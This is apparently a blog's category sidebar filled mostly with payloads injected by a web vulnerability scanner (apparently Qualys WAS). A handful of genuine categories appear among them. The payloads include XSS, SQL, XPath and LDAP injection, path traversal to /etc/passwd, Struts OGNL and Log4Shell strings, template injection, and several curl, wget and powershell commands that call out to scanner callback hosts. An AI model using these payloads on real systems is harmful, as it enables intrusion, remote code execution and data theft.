Blog

News & Blog RSS

Blog categories Blog categories

'"/></script><script>function(){qxssGfwh76H8};</script> (0)

John') or 2634=2634 -- (0)

John') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124 (0)

John') and 2634=1123 -- (0)

John') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123 (0)

John' or 3789=3789 -- (0)

John') /* or __Q_2__ */AnD 5867 IS NULL-- Or NULL (0)

John') /* or __Q_2__ */Or NULL IS NULL-- AnD 5867 (0)

http://localhost:19096 (0)

file:///etc/passwd (0)

John"'><script>alert(81)</script> (0)

"><script>alert(81)</script> (0)

John"><DIV STYLE="width:expression(qssX140068753703536Y6_2Z=7)"> (0)

John"><DIV STYLE="width:expression(qssX140068753703536Y6_2Z=7)"> (0)

javascript:alert(81);qxss(X140068753703536Y6_2Z); (0)

<IMG SRC=x onerror=alert(81)> (0)

"'><<SCRIPT a=2>alert(81);//<</SCRIPT> (0)

John <script>alert(81)</script> (0)

z--><script>alert(81)</script> (0)

__import__('os').popen('wget d8d3bf507a36876c1f0659a131257ea6b9519f69.24479670147370345.420317606.oscomm15214101.oscomm.eu1.qualysperiscope.com.').read() (0)

__import__('os').popen('curl 244aff4b31963ff76a02c9bbcac53bb3a213d173.24479670147370345.2411299732.oscomm15214100.oscomm.eu1.qualysperiscope.com.').read() (0)

@pd.core.frame.com.builtins.__import__("os").system("""curl 65abaa477ab15b285113e671c2f392df0f579785.24479670147370345.979334995.oscomm15256401.oscomm.eu1.qualysperiscope.com.#""") (0)

" onfocus=alert(81) autofocus=true onEvent=X140068753703536Y6_2Z (0)

' onfocus=alert(81) autofocus=true onEvent=X140068753703536Y6_2Z (0)

"'<svg/onload=alert(81) a=X140068753703536Y6_2Z> (0)

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 99d404eb88a33d1c734f3e08e9c7288346c35bdc.24479670147370345.4039140543.oscomm15279701.oscomm.eu1.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())] (0)

9;alert(81);// (0)

';alert(81);// (0)

");alert(81);// (0)

";alert(81);// (0)

'*qxss2TRG2qiu()*' (0)

"*qxsstPvvJt9c()*" (0)

*/;alert(81);/* (0)

9 ;alert(81);// (0)

' onfocus=alert(81) autofocus=true onEvent=X140068753703536Y6_2Z (0)

"'<svg/onload=alert(81) a=X140068753703536Y6_2Z> (0)

John"><svg/onload=alert(81)> (0)

<svg/onload=alert(81)> (0)

javascript:alert(81);qxss(X140068753703536Y6_2Z); (0)

%3cscript z%3ealert(81)%3c/script%3e (0)

< script a=4>alert(81)< /script> (0)

" onfocus=alert(81) autofocus=true onEvent=X140068753703536Y6_2Z (0)

John' and boolean(string-length('')) and 'or' = 'and (0)

John' or boolean(string-length('and')) or 'and' = 'and (0)

John' and not(true()) or 'false' = 'true (0)

John' or not(false()) or 'true' = 'true (0)

John' and false() and 'or' = 'and (0)

John' or true() or 'and' = 'and (0)

John or true() or 'and' = 'and' (0)

John1 or 11=11 (0)

John6 Or 9=8 (0)

John and false() and 'or' = 'and' (0)

John6 Or 9=9 (0)

John5 oR 9=9 + 1 (0)

John5 oR 9=8 + 1 (0)

John1 or 11=12 (0)

aaaa&ping -n 92 localhost& (0)

John and boolean(string-length('')) and 'or' = 'and' (0)

John or boolean(string-length('and')) or 'and' = 'and' (0)

John and not(true()) or 'false' = 'true' (0)

John or not(false()) or 'true' = 'true' (0)

John" or not(false()) or "true" = "true (0)

John" and boolean(string-length("")) and "or" = "and (0)

John" or boolean(string-length("and")) or "and" = "and (0)

John" and not(true()) or "false" = "true (0)

John" and false() and "or" = "and (0)

John" or true() or "and" = "and (0)

John or NULL IS NULL (0)

John /* or __Q_2__ */AnD 3251 IS NULL -- Or (0)

John Or 6248=3757 (0)

John Or 6248=6248 (0)

John oR 6248=2491 + 3756 (0)

John oR 6248=2491 + 3757 (0)

John or 6248 IS NULL (0)

John' /* or __Q_2__ */AnD 7643 IS NULL-- Or (0)

John' /* or __Q_2__ */Or NULL IS NULL-- AnD 7643 (0)

John' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391 (0)

John' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390 (0)

John' and 3789=1391 -- (0)

John or 4325=4325 -- (0)

John /* or __Q_2__ */Or NULL IS NULL -- AnD 3251 (0)

John /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728 (0)

John /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729 (0)

John and 4325=2728 -- (0)

John') /* or __Q_2__ */Or ' AnD aghjk'LIKE' AnD aghjk (0)

John') /* or __Q_2__ */AnD ' Or aghjk'LIKE' AnD jlgdf (0)

John') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd (0)

John') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws (0)

John') and 'swqtp'='ptqws (0)

John') or 'swqtp'='swqtp (0)

John' /* or __Q_2__ */AnD ' Or mjnfg'LIKE' AnD fhdgr (0)

John' /* or __Q_2__ */Or ' AnD mjnfg'LIKE' AnD mjnfg (0)

John' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy (0)

John' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp (0)

John' and 'tpklq'='xqlkp (0)

John' or 'tpklq'='tpklq (0)

John AnD 7248=4757 (0)

John AnD 7248=7248 (0)

John aND 7248=2491 + 4756 (0)

John aND 7248=2491 + 4757 (0)

John and 7248 IS NULL (0)

John and NULL IS NULL (0)

@pd.core.frame.com.builtins.__import__("os").system("""curl ade6058133324e0d7baf9c71eea7f81bb6554a26.24479670147370345.1128268324.oscomm15256400.oscomm.eu1.qualysperiscope.com.#""") (0)

php://filter/read=string.rot13/resource=/etc/passwd (0)

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} (0)

....//....//....//....//....//....//etc/passwd (0)

../../../../../../../Windows/System32/drivers/etc/hosts (0)

|netstat -an (0)

a(){}phpinfo(); function a (0)

/../../../../../../../etc/passwd (0)

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} (0)

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} (0)

"-qxssXPR91K1g()-" (0)

'-qxss55Sw5R41()-' (0)

*/;(function(){qxss3AAcug14});/* (0)

John!@#$%^&*() (0)

");(function(){qxsstjKVZQ46});/**/" (0)

";(function(){qxsslkr5XldX});/**/" (0)

javascript:qxss(X140068753703536Y6_2Z); (0)

http://rfitest/ (0)

9 ;(function(){qxsse70PV1EY});// (0)

9;(function(){qxssBA1AwjU0});// (0)

';(function(){qxssr2nd4LG4});/**/' (0)

qualys(aqxssNV0dzX5U)xyz (0)

<script =">" SRC=//localhost/jrClqY1Y5> (0)

<script src=//localhost/jYI3nzSFc> (0)

John <script>_q_q=random(Rjn7Ek1h)</script> (0)

<script>_q=random(X140068753703536Y6_2Z)</script> (0)

"'><qssVdX566pL `;!--=&{()}> (0)

"'><<SCRIPT a=2>qss7d9RMPjf=7;//<</SCRIPT> (0)

<IMG SRC=javascript:qssh3m1Halp=7> (0)

<SCRIPT/QSSJW3xsebW SRC=//localhost/j> (0)

" onEvent=X140068753703536Y6_2Z (0)

' onEvent=X140068753703536Y6_2Z (0)

"'><qss a=X140068753703536Y6_2Z> (0)

Better Living (1)

Sustainability (2)

Home Solutions (3)

z--><qsscko1r5eR> (0)

John"'><qssU1WC6i83> (0)

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:qss8Es2CdDu=7"> (0)

"><qssJBijuh11> (0)

javascript:qxss(X140068753703536Y6_2Z); (0)

qss{{q=(2*2.0)}}qss (0)

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA (0)

{{333*334}} (0)

<script src=http://localhost/j (0)

q Qualys_resp_hdr_injection: Vulnerable (0)

qualys<esi:comment text="" />wasesi (0)

%3cscript z%3e_q(y)%3c/script%3e (0)

q Qualys_resp_hdr_injection: Vulnerable (0)

<STYLE type="text/css" a=3>BODY{background:url("javascript:qss4o384m9i=7")}</STYLE> (0)

<EMBED SRC=//localhost/qC0gSY2c1.swf AllowScriptAccess=always></EMBED> (0)

"'><qss a=X140068753703536Y6_2Z> (0)

John"><DIV STYLE="width:expression(qss17eg45N5=7)"> (0)

" onEvent=X140068753703536Y6_2Z (0)

< script a=4>qsse0TLEgj9=7< /script> (0)

' onEvent=X140068753703536Y6_2Z (0)

${url:UTF-8:https://@CIPHER@.@UNIQUEID@.@URI@.oscomm09.oscomm.@DOMAIN@} (0)

${url:UTF-8:http://@CIPHER@.@UNIQUEID@.@URI@.oscomm08.oscomm.@DOMAIN@} (0)

${url:UTF-8:https://eb22441e5650e94e3513bea0eb444bdb75dd4a53.24479670147370345.2651377047.oscomm07.oscomm.eu1.qualysperiscope.com.} (0)

${url:UTF-8:http://e1b7131d0f2e5b6c07539f1945ad42cd5c77d49b.24479670147370345.3382958762.oscomm06.oscomm.eu1.qualysperiscope.com.} (0)

powershell -c iwr -uri https://@CIPHER@.@UNIQUEID@.@URI@.oscomm13.oscomm.@DOMAIN@ (0)

powershell -c iwr -uri http://@CIPHER@.@UNIQUEID@.@URI@.oscomm11.oscomm.@DOMAIN@ (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('powershell -c iwr -uri http://2683200078099dcbf2dd1011a8f7aa8593efb104.24479670147370345.3013629919.oscomm10.oscomm.eu1.qualysperiscope.com.')} (0)

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://267a7e9480bc7995bd953d2250e3b54fd6e8bfc3.24479670147370345.393735175.log4j11.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//e09cb7dc417f54bdd756e571e974e906b07689eb.24479670147370345.3247856811.log4j10.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//7984bc769954647a270192a21b1a8ec2d11c2d35.24479670147370345.830312072.log4j08.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

$%7Bdns:address%7C@CIPHER@.@UNIQUEID@.@URI@.oscomm05.oscomm.@DOMAIN@%7D (0)

${dns:address|7749db068fedb36cd36c4e1c37bf494c99575b29.24479670147370345.4201569533.oscomm04.oscomm.eu1.qualysperiscope.com.} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('curl http://@CIPHER@.@UNIQUEID@.@URI@.oscomm03.oscomm.@DOMAIN@')} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('curl http://c7eb4960cab365abe57388b37de7fa66ed7a84b3.24479670147370345.380889425.oscomm02.oscomm.eu1.qualysperiscope.com.')} (0)

${url:UTF-8::http://b12dd62f1ced0df69e763017d6ad486e1f246a83.24479670147370345.1584391789.oscomm24.oscomm.eu1.qualysperiscope.com.} (0)

${url:UTF-8::https://adae14ea9e22b96e384cc501d0a626d1659a114d.24479670147370345.1393046645.oscomm25.oscomm.eu1.qualysperiscope.com./} (0)

${url:UTF-8:https://a9ce29e61a71983e088ac095aa0ad897ebbb3f0d.24479670147370345.1897731425.oscomm23.oscomm.eu1.qualysperiscope.com.} (0)

${url:UTF-8:http://428a5526e868970911178e01c3455d2db2249f8c.24479670147370345.1644167413.oscomm22.oscomm.eu1.qualysperiscope.com.} (0)

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('wget http://f7a9779fd410722258f0f10f8492b61b2a83854b.24479670147370345.3065434440.oscomm15019101.oscomm.eu1.qualysperiscope.com.').read() }} (0)

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","45821cd5c3f371d7c59ec46de42ef922ab743a98.24479670147370345.971224320.oscomm15079701.oscomm.eu1.qualysperiscope.com.")} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('powershell -c iwr -uri https://c0b21a38702baa20611a8a5fd098f95a159e135a.24479670147370345.1175081744.oscomm27.oscomm.eu1.qualysperiscope.com.')} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('powershell -c iwr -uri https://6f825c3797c15f5d5868803f391013ff9930ed6e.24479670147370345.3781651288.oscomm26.oscomm.eu1.qualysperiscope.com.')} (0)

${url:UTF-8::https://4cc298444485e93525d98ffe72451660f269f2bd.24479670147370345.1220787913.oscomm17.oscomm.eu1.qualysperiscope.com./} (0)

${url:UTF-8::https://792c84f6e3830881644911baba85652ba197bc57.24479670147370345.431083339.oscomm16.oscomm.eu1.qualysperiscope.com./Qualyswas} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('curl https://@CIPHER@.@UNIQUEID@.@URI@.oscomm15.oscomm.@DOMAIN@')} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('curl https://53c5e99d3718e298f2f6295e5f20bee099d67748.24479670147370345.4091810585.oscomm14.oscomm.eu1.qualysperiscope.com.')} (0)

${dns:address|debbc23396267b1f4c51bda68b0e0bec6b97a82f.24479670147370345.964581768.oscomm21.oscomm.eu1.qualysperiscope.com.} (0)

${script:javascript:java.lang.Runtime.getRuntime().exec('curl http://c5fe37b72a5d83ded90ae6ca6a02eff7da68400c.24479670147370345.684635149.oscomm20.oscomm.eu1.qualysperiscope.com.')} (0)

${url:UTF-8:https://9d527b1bf991e77af7f5503a5506da44aa97a5ec.24479670147370345.172323843.oscomm19.oscomm.eu1.qualysperiscope.com./} (0)

${url:UTF-8:http://fa8be26833d64c54bafe4eed19da6f9070c1d723.24479670147370345.1864468613.oscomm18.oscomm.eu1.qualysperiscope.com./} (0)

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()} (0)

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS (0)

https://community.qualys.com/ (0)

http://169.254.169.254/latest/meta-data/ (0)

John*(|(objectclass=*)) (0)

John)(uid=*))(|(uid=* (0)

John)(attribute2=*) (0)

QualysWAS${150797*150797}QualysWAS (0)

{23.0231*213.759}${23.0231*213.759}{{=23.0231*213.759}} (0)

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}<%= 23.0231*213.759 %> (0)

!@#$%^&*()John (0)

</script><script>function(){qxss8V9g6snk};</script> (0)

qualyswas: (0)

(23.0231*213.759) (0)

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */ (0)

${jndi:rmi://2f4e38b37c202cc0c415e95f286b03c823465f5c.24479670147370345.1214161954.log4j03.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

${jndi:ldap://5f3f94957889f85365ded82249466f2a2d806b78.24479670147370345.2693984144.log4j02.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

7e6da48a466afa5cc4a8467228c50c777e242b23.24479670147370345.3506469133.ssrf02.ssrf.eu1.qualysperiscope.com. (0)

http://e50ab485257dc6d816d3447be26633acdfc7a5af.24479670147370345.3213278045.ssrf01.ssrf.eu1.qualysperiscope.com. (0)

${j${::-n}di:ldap${::-:}//e93acba692f1afd968472eba8484d8b33327efc7.24479670147370345.3528297828.log4j06.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://b77c83c14c7c4e7c0f75a6870068618f85d8b547.24479670147370345.3384079434.log4j05.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://29122f9fb3c9ebdecc6b652421f96745dab29afe.24479670147370345.1838111897.log4j04.log4j.eu1.qualysperiscope.com./QualysWAS} (0)

John)(|(uid=*) (0)

John)(|(objectclass=*) (0)

Joe+ bcc:was_engine@47db0792ed1761c9b964cbba505a4e18a679e793.24479670147370345.1694918336.smtphi01.smtp.eu1.qualysperiscope.com. (0)

John)(|(uidNumber=*) (0)

Water Solutions (6)

John)(|(gidNumber=*) (0)

John)(|(homeDirectory=*) (0)